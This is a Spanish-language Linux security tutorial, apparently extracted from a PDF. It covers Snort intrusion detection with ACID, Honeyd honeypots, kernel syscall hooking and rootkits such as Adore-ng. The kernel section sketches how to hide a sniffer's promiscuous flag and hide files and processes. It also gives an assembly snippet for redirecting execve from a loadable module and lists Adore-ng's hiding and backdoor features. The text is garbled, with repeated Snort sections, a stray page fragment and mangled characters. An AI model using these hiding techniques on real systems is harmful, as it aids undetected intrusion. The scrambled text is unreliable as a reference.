Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 26: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

